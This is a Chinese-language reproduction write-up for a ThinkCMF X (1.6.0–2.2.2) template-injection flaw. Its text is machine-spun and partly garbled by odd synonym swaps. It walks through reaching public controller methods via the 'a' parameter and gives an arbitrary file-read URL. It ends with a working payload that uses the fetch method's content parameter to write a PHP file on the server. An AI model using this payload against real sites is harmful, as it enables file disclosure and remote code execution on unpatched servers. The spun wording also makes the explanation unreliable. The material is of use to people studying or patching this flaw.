影响版本
ThinkCMF X1.6.0 ThinkCMF X2.1.0 ThinkCMF X2.2.0 ThinkCMF X2.2.1 ThinkCMF X2.2.2
复现过程
依据index.php中的配置,他的项目途径为application,翻开 Portal 下的 Controller 目录,选择一个控制类文件。
发现他的父类为CommonControllerHomebaseController。 在HomeBaseController中参加如下测试代码
ThinkPHP是一套基于MVC的应用程序框架,被分红三个中心部件:模型(M)、视图(V)、控制器(C)。 由于添加的代码在控制器中,依据ThinkPHP框架商定能够经过a参数来指定对应的函数名,但是该函数的修饰符必需为Public, 而添加的代码正好契合该条件。 能够经过如下URL停止访问,并且能够添加GET参数arg1传送给函数。
http://127.0.0.1/cmfx-master/?a=test_public&arg1=run%20success
HomeBaseController类中有一些访问权限为public的函数,
重点关注display函数.看描绘就是能够自定义加载模版,经过 $this->parseTemplate 函数依据商定肯定模版途径,假如不契合原先的商定将会从当前目录开端匹配。 然后调用THinkphp Controller 函数的display办法
/**
* 加载模板和页面输出 能够返回输出内容
* @access public
* @param string $templateFile 模板文件名
* @param string $charset 模板输出字符集
* @param string $contentType 输出类型
* @param string $content 模板输出内容
* @return mixed
*/
public function display($templateFile = '', $charset = '', $contentType = '', $content = '', $prefix = '') {
parent::display($this->parseTemplate($templateFile), $charset, $contentType,$content,$prefix);
}
再往下就是调用Think View的fetch办法,这里的TMPL_ENGINE_TYPE 为Think, 最终模版内容解析在ParseTemplateBehavior中完成 如下调用即可加载恣意文件 http://0-sec.org:81/cmfx-master/?a=display&templateFile=README.md
往下面翻阅发现还有fetch办法,display办法相对fetch只是多了一个render的过程,而且这里不需求晓得文件途径
最终圆满payload
http://0-sec.org/?a=fetch&templateFile=public/index&prefix=''&content=<php>file_put_contents('test.php','<?php phpinfo(); ?>')</php>
感谢您的来访,获取更多精彩文章请收藏本站。
1 本站一切资源不代表本站立场,并不代表本站赞同其观点和对其真实性负责。
2 本站一律禁止以任何方式发布或转载任何违法的相关信息,访客发现请向站长举报
3 本站资源大多存储在云盘,如发现链接失效,请联系我们我们会第一时间更新。
- 最新
- 最热
只看作者